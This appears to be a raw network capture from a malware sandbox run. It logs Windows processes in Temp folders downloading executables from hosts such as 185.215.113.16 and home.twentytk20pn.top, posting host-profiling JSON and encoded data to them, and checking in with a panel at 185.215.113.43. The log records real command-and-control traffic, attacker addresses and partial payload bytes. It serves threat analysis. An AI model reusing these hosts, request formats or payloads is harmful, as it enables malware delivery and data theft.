Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49800	185.215.113.16	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:31.331528902 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 17:08:32.687675953 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:31 GMT Content-Type: application/octet-stream Content-Length: 1856000 Last-Modified: Wed, 18 Dec 2024 15:28:58 GMT Connection: keep-alive ETag: "6762ea3a-1c5200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 c9 2a 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g`I@I@T0h 1 H@.rsrc X@.idata 0\@ @@^@vqaioxrs/`@pnhfyvewPI,@.taggant0`I"0@
Dec 18, 2024 17:08:32.687722921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:32.702863932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:32.702918053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:32.719304085 CET	1236	IN	Data Raw: e1 e5 eb 2a 8d c4 68 de b2 8e 46 fe 92 ae 18 07 68 fe 8f 02 05 65 6d 8b 45 41 c2 5a 25 ff 82 a5 d9 d5 11 96 8f 99 6a bd 14 45 82 03 9d ed 4c 8c 8b 7e 69 3d fd cc 82 9f 5c 4e 48 ba 43 b6 4c a7 9e 93 9b ac 18 07 b6 cc 57 18 0b c2 1f e0 b4 81 52 e9 Data Ascii: *hFhemEAZ%jEL~i=\NHCLWRG~\ /k(:f5\|E6zw@%[LGFL@.=]?g~,&v_m{j\|}o\|}gD"ksa6JJU0w~
Dec 18, 2024 17:08:32.719357014 CET	1236	IN	Data Raw: 95 4f 28 be 53 9f 8b 29 05 80 83 3f 6f 77 d0 64 38 9d 67 9e c1 e1 a8 d2 17 9f c7 01 d1 c9 88 89 dd 7b 2f 99 57 91 d6 11 81 1d 48 fe 23 06 6b fc 27 9d 48 cd 1b 61 4e e9 e6 4d 14 25 ea f7 dd bb 43 45 23 d0 f6 8b 11 20 44 f1 6f ba 5d 95 48 86 35 2d Data Ascii: O(S)?owd8g{/WH#k'HaNM%CE# Do]H5-JUd;/x&B"~W%rS_ub-IgajW-B'?_~"}D0FMR\K5m')r
Dec 18, 2024 17:08:32.735814095 CET	1236	IN	Data Raw: d3 1f 01 73 13 39 73 2a 52 f4 94 02 2d 45 41 62 44 3d c0 04 94 5e bf 5f dd 68 60 c8 14 84 c5 64 56 0a 01 7e 33 00 f7 b6 ae 74 94 83 8a c1 a1 b3 1f 38 4b 70 c4 ee f2 89 0b 8c fe 9a 0d 5d 29 33 ec 1d ef 8c 53 bd be 04 31 ef c5 7a 2c 60 04 45 19 92 Data Ascii: s9s*R-EAbD=^_h`dV~3t8Kp])3S1z,`EVc.Fz,akU%.?Y39,y0YU{4#_V&5__{>\|H8(?GAd&ic ipE8f:%#<S\|MoTOjCDaEQ
Dec 18, 2024 17:08:32.735851049 CET	1236	IN	Data Raw: 25 9b a2 bf 1b 16 98 67 98 86 ae 80 6b 7c f6 4b fc 53 74 dd 5c 04 87 bf ce 3e 1c 8f a7 11 a0 2b 60 9a a3 37 57 c5 3a de 6f 89 90 19 65 5e 8d fe 5d e9 68 72 f9 67 09 9e f2 87 4b 97 3b f5 a6 62 64 dd 73 7d 1d f2 58 07 9a 33 b5 69 27 ad 48 ec 51 8b Data Ascii: %gk\|KSt\>+`7W:oe^]hrgK;bds}X3i'HQ{%?dO>lX5mmK4$T!d~Oh,MRa;)O{tfKh;5eg'p\|D
Dec 18, 2024 17:08:32.752547026 CET	1236	IN	Data Raw: 03 6e 06 ea 53 8b dc cd 55 43 7b 07 65 5f 4c 53 2d b7 ab ad e3 a6 89 f9 a3 91 88 70 4d 4e 81 ad 9c 91 86 43 db c2 76 82 1d b5 20 a0 47 a7 c0 04 df e3 7e fe f3 0f 01 23 97 fd 41 8b 40 36 19 0e 59 b9 35 f9 f7 7a 04 c2 1d 8e 04 07 5f a3 4e 97 7c d7 Data Ascii: nSUC{e_LS-pMNCv G~#A@6Y5z_N\|NM\MjgJvP^[0'u;pw9vWcTVX)Bc<1ahanefHsBSG5CDFqLtwxF9s9fZxt
Dec 18, 2024 17:08:32.752583027 CET	1236	IN	Data Raw: 63 7d 47 fd b5 67 42 c7 17 74 36 43 c0 4c d4 c6 94 68 ac 99 a3 34 64 93 97 04 ac b9 55 0e 1e c4 53 ee 41 13 95 66 fa 76 f9 3e b4 f2 0e 1e bf cf 15 9e 1e fa a5 cd b8 f9 1d fd a8 49 54 8f 78 8b 9c bd 19 79 f2 23 a1 ab 37 8d d9 ba 63 e7 ab 95 6c d1 Data Ascii: c}GgBt6CLh4dUSAfv>ITxy#7clI]$]FI&:GP/zq+S"g}_%cgVeohGKUh~s< >m`J5?},]=zu7jW
Dec 18, 2024 17:08:32.807621956 CET	1236	IN	Data Raw: a0 cb 94 9e 63 ce 4e 8a ce 61 52 6f a5 84 79 ef 41 8d 87 3c 60 83 c3 9d 9b 9c cb 8f 04 b7 e3 92 67 bf e3 83 05 93 fb bd 1d 70 03 81 4c 1d 02 8e fb 28 b8 72 0b 2d 38 86 fe a2 6b d6 a9 05 c3 f1 da 01 3b e0 6c bd 7e 93 15 3b 02 0c 1d fc 98 a8 67 a8 Data Ascii: cNaRoyA<`gpL(r-8k;l~;gqlPxmu@_QLV;9H`#jz o?CMZ:^s<BGCtoJR.e<[-L$M:%[u=lS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49811	185.185.71.170	80	7960	C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:36.764743090 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 499280 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 33 38 31 31 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734538113", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 18, 2024 17:08:36.885457039 CET	12360	OUT	Data Raw: 57 63 38 58 67 61 2b 59 59 4c 44 51 53 73 33 50 47 59 6e 44 71 32 75 76 4c 4c 6c 39 37 50 76 41 4c 78 43 79 57 4d 70 34 62 44 35 62 78 48 43 6d 72 31 66 38 41 56 5c 2f 47 56 4b 31 65 4c 2b 7a 43 6e 67 63 7a 77 75 56 35 68 69 36 6b 74 56 47 47 42 Data Ascii: Wc8Xga+YYLDQSs3PGYnDq2uvLLl97PvALxCyWMp4bD5bxHCmr1f8AV\/GVK1eL+zCngczwuV5hi6ktVGGBwmKldWaTlHm+OqK7rxl8MviB8PXiHjPwhrmgW9zKYbHU7yxkbQ9VdU8wnRtft\/P0TWowmW87Sr+8hwr\/ALzKMBwtfqOExmEx9CnisDisPjMNVV6WJwlaniKFRbXp1qMp05q+l4yZ+TY3A43LcTUweY4PFYDGUXy
Dec 18, 2024 17:08:36.885664940 CET	4944	OUT	Data Raw: 39 74 37 64 54 2b 50 38 41 4c 70 2b 4e 51 79 4e 35 6e 58 50 2b 73 5c 2f 7a 36 2b 39 44 64 46 5c 2f 36 35 66 30 46 4d 2b 64 76 62 39 50 38 41 36 39 42 6f 4c 4a 75 7a 75 32 62 50 2b 32 57 50 38 2b 74 56 63 50 6a 64 5c 2f 46 39 4f 2b 4f 76 72 31 39 Data Ascii: 9t7dT+P8ALp+NQyN5nXP+s\/z6+9DdF\/65f0FM+dvb9P8A69BoLJuzu2bP+2WP8+tVcPjd\/F9O+Ovr19s96lk7f6zv\/SmyK\/Kdef8AWf5\/Tr\/Og6+d+X9fMr8537P+2eP3H\/6v85zUHyfP\/rO\/0\/z\/AEx2zVzyc\/6whv5fpVaSP72\/7\/Hp\/n64oNSH0RP+Wf8Aqv8AP\/6vbimAO33U8w\/Uj9an2v8A7nP+
Dec 18, 2024 17:08:36.885715008 CET	4944	OUT	Data Raw: 78 6d 4b 55 52 79 52 79 4d 51 59 35 46 52 31 49 5a 51 52 67 66 74 66 33 31 70 66 5c 2f 73 64 5c 2f 74 46 54 32 64 7a 44 64 51 6a 34 54 65 4b 6c 4d 31 76 49 73 30 52 4c 65 48 49 70 68 74 6c 51 74 47 34 4d 55 73 62 37 6b 5a 6c 77 77 35 79 43 42 5c Data Ascii: xmKURyRyMQY5FR1IZQRgftf31pf\/sd\/tFT2dzDdQj4TeKlM1vIs0RLeHIphtlQtG4MUsb7kZlww5yCB\/eHhxjpwzTg3K6FCpGM\/EvCYzG4n2kpxr0qWcxoYGg4OH7pYarPF1KlR1Z\/WZ4rDxcKcsNGVX+bfHDBKplvGma1q1KU4+DOGweDwypQpexq1uA8NiMdXUoySmsTTp4SnSpQo01hoYWu4ynHEONH+MLB\/u\/8Ao
Dec 18, 2024 17:08:36.885812998 CET	2472	OUT	Data Raw: 64 2b 64 5c 2f 2b 71 6c 5c 2f 2b 53 76 77 5c 2f 70 54 42 49 57 2b 64 48 79 5c 2f 5c 2f 41 44 7a 5c 2f 41 4f 6e 66 48 70 6e 72 30 70 2b 35 50 6e 52 33 2b 53 58 37 50 5c 2f 79 31 5c 2f 77 44 4a 72 2b 6e 57 6f 66 6e 58 66 73 54 79 5c 2f 77 42 33 5c Data Ascii: d+d\/+ql\/+Svw\/pTBIW+dHy\/\/ADz\/AOnfHpnr0p+5PnR3+SX7P\/y1\/wDJr+nWofnXfsTy\/wB3\/q4\/+W3+ld\/0\/wA80HQQyNuZETL\/APHxj+X+e\/5cs8w\/cRN\/7r+n4\/6djtjuB9JlX5tgyj\/5\/wBF+tEmWWZ\/3efK8rn\/AK+v8npQdBWk5jZ9hTzOB\/Q\/hR8nybIdkf8ApH\/P1\/T\/AD+VP\/5
Dec 18, 2024 17:08:37.005675077 CET	7416	OUT	Data Raw: 62 42 79 7a 53 4f 56 31 70 34 6e 46 59 44 36 6e 54 72 30 36 45 73 56 51 79 48 46 59 71 74 6b 46 4b 4d 4b 39 53 6c 54 5c 2f 63 59 43 45 34 53 6e 43 30 55 70 52 62 5c 2f 41 4b 4d 78 6e 6a 37 39 4b 6e 4d 4f 42 58 4c 45 63 66 63 64 66 36 6f 34 62 48 Data Ascii: bByzSOV1p4nFYD6nTr06EsVQyHFYqtkFKMK9SlT\/cYCE4SnC0UpRb\/AKMxnj79KnMOBXLEcfcdf6o4bH08mqZzh6eFwWZ\/X8ThsRiaeCxPE2DwWH4orzrYbC4movrGZ1IThRq3k3Fo9Gkmgm+aZUWXGCSSx4zgZOTgenbnHNQm1t3\/ANVPj2fHH+Na\/hHQ9H8W2XhCeb4r\/B3wPq3xL+Oeofs4fCnwl491T4pWviX4mfG
Dec 18, 2024 17:08:37.005779982 CET	4944	OUT	Data Raw: 38 76 31 47 31 58 71 78 52 51 61 46 54 62 38 32 65 33 58 38 66 38 38 5c 2f 70 55 56 57 35 46 2b 35 37 63 5c 2f 58 48 46 4d 6f 4f 67 71 76 38 41 64 50 34 66 7a 46 51 31 61 32 4e 36 66 79 5c 2f 78 6f 32 4e 36 66 79 5c 2f 78 6f 4c 35 33 35 66 31 38 Data Ascii: 8v1G1XqxRQaFTb82e3X8f88\/pUVW5F+57c\/XHFMoOgqv8AdP4fzFQ1a2N6fy\/xo2N6fy\/xoL535f18yhh\/f8\/\/AK9L5fv+n\/16sSK\/YfT\/AB9\/br\/Oo6DUr0VK\/T8f6Gmcoe3I\/wA+lBp7Ty\/H\/gED9fwplWKi2H2\/z+FB2FSmP0\/H+hqfyn9P0P8AhTNj+35f\/ZUGlPr\/AF\/X\/DFaipX6fj\/Q1F
Dec 18, 2024 17:08:37.009687901 CET	2472	OUT	Data Raw: 50 48 56 73 50 69 73 5a 37 43 64 65 76 52 70 71 6e 47 6a 54 2b 74 79 78 6c 61 70 43 4d 4a 59 6d 76 58 71 30 63 4e 55 77 5c 2f 68 77 2b 6e 76 6e 39 4c 4a 38 38 79 79 6a 77 42 77 39 47 72 6e 65 45 79 58 44 75 74 56 71 34 36 74 51 79 2b 70 6b 57 55 Data Ascii: PHVsPisZ7CdevRpqnGjT+tyxlapCMJYmvXq0cNUw\/hw+nvn9LJ88yyjwBw9GrneEyXDutVq46tQy+pkWU4zKsHiMHhHio0qWImsdVxNevQeFnLER9tBQnisyeP8x8EfE\/wx8PPCXww8L+KPjB8DfAP\/CBftwfED42\/F\/wX8Rf2cfHPxX+NHj34EeJvhD8BfB13p37KXxh8L\/s++PLz4FfGjxFJ4I8d+HNF8b+Ef2gv2Yf
Dec 18, 2024 17:08:37.053370953 CET	27192	OUT	Data Raw: 54 32 57 45 65 42 72 59 57 4e 4b 70 43 74 72 6b 48 30 35 63 37 34 66 7a 48 4d 75 49 6f 38 42 5a 56 69 75 4a 63 34 79 7a 68 6a 41 5a 6c 6a 36 32 62 5a 31 39 54 78 63 75 45 31 6b 62 79 6a 45 56 4d 75 6a 6a 31 67 36 63 71 64 58 68 5c 2f 41 7a 72 52 Data Ascii: T2WEeBrYWNKpCtrkH05c74fzHMuIo8BZViuJc4yzhjAZlj62bZ19TxcuE1kbyjEVMujj1g6cqdXh\/AzrRwtDDUcZGpjIY+jjXWjKn8XeH\/Efw+8KWXgz9oy8+JumH4s+A\/wDgm8\/7LA\/ZVn+HHxftfild\/HLRP2SNT\/Yy0bUIfFsXgu\/+Bt18G7vRZLX4zah4um+L2k+OotKF74Pg+GB1+KB7jsPhN8Rvgr4E8G\/Dv
Dec 18, 2024 17:08:37.171278954 CET	7416	OUT	Data Raw: 70 6d 32 65 57 6b 69 66 38 41 50 4b 50 5c 2f 41 50 56 7a 2b 6e 54 48 54 6d 6a 62 69 50 5a 73 74 35 50 2b 57 76 38 41 72 66 79 5c 2f 72 5c 2f 6e 69 70 76 4d 38 78 39 5c 2f 52 50 66 30 5c 2f 7a 2b 56 51 79 66 4c 76 33 5c 2f 50 7a 2b 36 6a 5c 2f 41 Data Ascii: pm2eWkif8APKP\/APVz+nTHTmjbiPZst5P+Wv8Arfy\/r\/nipvM8x9\/RPf0\/z+VQyfLv3\/Pz+6j\/AOW83I+v5+v0rQ0GRyfcTZsT\/lr9Oc5HrTF2fMmyR0k\/e\/u5f3H4\/wD6v60\/ycSJ5ybE\/wBb1\/f\/APXt7Z6fyp\/l7diOnyeV+6kk\/wBRB1\/n+tB0Fba7K6fvEST96I7fv259f6+nrCwf+P5E\/wBVEI
Dec 18, 2024 17:08:37.495451927 CET	1236	OUT	Data Raw: 5c 2f 41 4c 5c 2f 35 35 50 38 41 4c 6e 39 4b 44 75 70 64 50 38 58 2b 52 57 62 2b 35 79 69 2b 62 2b 58 2b 66 30 39 71 67 6b 52 4f 69 66 79 5c 2f 72 37 5c 2f 35 48 72 61 6b 58 5c 2f 59 37 65 6d 50 5c 2f 41 4e 58 31 5c 2f 77 41 4b 5a 7a 35 62 37 2b Data Ascii: \/AL\/55P8ALn9KDupdP8X+RWb+5yi+b+X+f09qgkROify\/r7\/5HrakX\/Y7emP\/ANX1\/wAKZz5b7+eP+eWPy9Kz5\/L8f+Aaw3+X6opj\/lp+P9arSfL9zv8Avenb\/wCt+f61oH7i\/U\/1qCSNNvPlj\/PtjPatDo535f18ymmzn\/6\/\/wCv6dutNb\/bQf8APLvj\/wCtVj+Lfs38An\/P5f5zUMkY8zfv39cf5\/
Dec 18, 2024 17:08:39.673803091 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 16:08:39 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 47 55 45 35 74 38 75 4d 74 46 4a 63 59 41 53 71 31 37 33 34 35 33 38 31 31 38 Data Ascii: GUE5t8uMtFJcYASq1734538118

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49815	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:38.932418108 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016966001&unit=246122658369
Dec 18, 2024 17:08:40.282393932 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49822	185.185.71.170	80	7960	C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:40.059653044 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=GUE5t8uMtFJcYASq1734538118 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 18, 2024 17:08:41.570807934 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 16:08:41 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" last-modified: Mon, 16 Dec 2024 16:25:22 GMT cache-control: no-cache etag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/iwo\I@$
Dec 18, 2024 17:08:41.571307898 CET	1236	IN	Data Raw: f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 7e b6 98 46 90 01 62 04 56 b0 f0 70 df a4 19 39 28 eb a8 Data Ascii: .k}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y264#rGSLZUs'Tw
Dec 18, 2024 17:08:41.571891069 CET	1236	IN	Data Raw: 4d bc c2 d8 75 84 b5 f7 b3 59 c9 af 94 f9 8a 27 4e 85 a1 36 76 b0 38 83 cc bd a2 a7 55 2a 4b 0b 05 51 f9 f5 0e fb 39 63 2b c9 60 04 64 e5 6b 13 26 92 33 af 53 a1 bc 41 14 9f 71 fd 27 65 5f 93 58 48 46 88 7a e2 3d 5a c7 1d f9 00 f1 4e be cf fb db Data Ascii: MuY'N6v8U*KQ9c+`dk&3SAq'e_XHFz=ZNmMl]!5,Gjk[}tXW~"3d-_n!y4N}oW>fpB~:Lz(S]sQrH~isg?H/Vaw!_)?-j%
Dec 18, 2024 17:08:41.571908951 CET	672	IN	Data Raw: db bb 04 06 f0 1d c4 65 dc 85 cf 73 b0 c9 a6 f5 f3 c9 de cb 33 10 d9 0c db b7 e7 5d 4e 59 82 da 60 18 75 95 28 0f e6 fe ca 94 ab 39 72 a3 40 bb 10 e7 dc b1 3e 62 82 62 0f 79 53 e6 35 3a d4 54 04 89 2e 96 e6 bd 03 ba 97 04 56 44 2b 90 5c 6d c1 ba Data Ascii: es3]NY`u(9r@>bbyS5:T.VD+\m(T3rr+6g($8!&v;3+6W<yeYY2C%TslvBiZYc<![x{F $UR"S4m>
Dec 18, 2024 17:08:41.572993994 CET	1236	IN	Data Raw: c7 db e4 3a a3 83 53 b0 b7 65 0e f0 32 c5 a1 5c 45 89 a3 a2 e7 d8 80 c1 a1 41 a8 b5 1a b7 02 f5 56 d3 74 c3 55 f7 ef e5 0f c7 21 38 88 a6 11 15 70 37 94 c8 64 55 97 e9 14 2b 82 73 30 c9 a4 5a ef 50 dc 81 93 04 3e b1 66 b2 6b 98 8a 45 dc 23 4b 32 Data Ascii: :Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu.D0y$%X-20jxF6Y9KL.V8bdU/vP_>'^e$!62
Dec 18, 2024 17:08:41.573018074 CET	1236	IN	Data Raw: 55 80 98 ae e4 c3 d3 46 a9 5a 41 a4 9a e2 7b db 07 92 08 52 16 1c d0 0c 4c 15 fe 17 33 2f 4f ea 60 b7 42 33 15 80 7b a3 be f6 ac 63 4a d8 cd 60 e2 b4 0c 29 79 99 9e 60 ba 1a 85 01 94 c5 7d dd d6 e6 3e f7 1d d0 9a d5 c8 bf 32 87 d4 05 67 5f 9d a9 Data Ascii: UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR'yC"mM?Kau{K4T2.M2=rGT2jl=c=53S-&AH1q\PVa#
Dec 18, 2024 17:08:41.574577093 CET	1236	IN	Data Raw: da b8 9a 5d 61 a9 62 09 c0 51 e6 22 3e e1 3a 89 1f 05 32 da 0a d0 18 05 ef f5 2b ab 8b 82 70 02 8a 23 5e 23 7c c4 d0 ef 12 ca 88 d8 40 b1 8c 29 8b ef 99 b0 4f 50 ad 80 df 71 e1 cf 48 3d 5f 70 40 61 16 6b 44 7b 36 54 92 46 ff 9c 45 a4 88 b3 69 7a Data Ascii: ]abQ">:2+p#^#\|@)OPqH=_p@akD{6TFEizG`0jUXSaKO0"sZ~"Z(eO*FzV'0+,\|Y@;QcH8O?0W5P:{,&S75U!`EP5DQ>xcW]:
Dec 18, 2024 17:08:41.574596882 CET	1236	IN	Data Raw: 0a 8e 6a c2 e7 5f 63 40 06 56 32 1c 51 57 87 f2 07 fc 76 b0 5b d9 9f 56 95 63 6a 40 2c af 46 ae 83 9e 80 02 58 37 03 4e 64 d1 48 e4 24 e2 21 25 e4 a4 b8 85 b6 d2 32 e5 aa 4b 89 ce cd ed 0e ef 56 3f b0 7a 63 90 25 8e 1d 28 7f 34 4e e1 e1 b5 ef 96 Data Ascii: j_c@V2QWv[Vcj@,FX7NdH$!%2KV?zc%(4N2Bw3\|0.h lLjUazA&>'Kr^Qm_tR[WBA5hkdN48\dOo$l`8X=
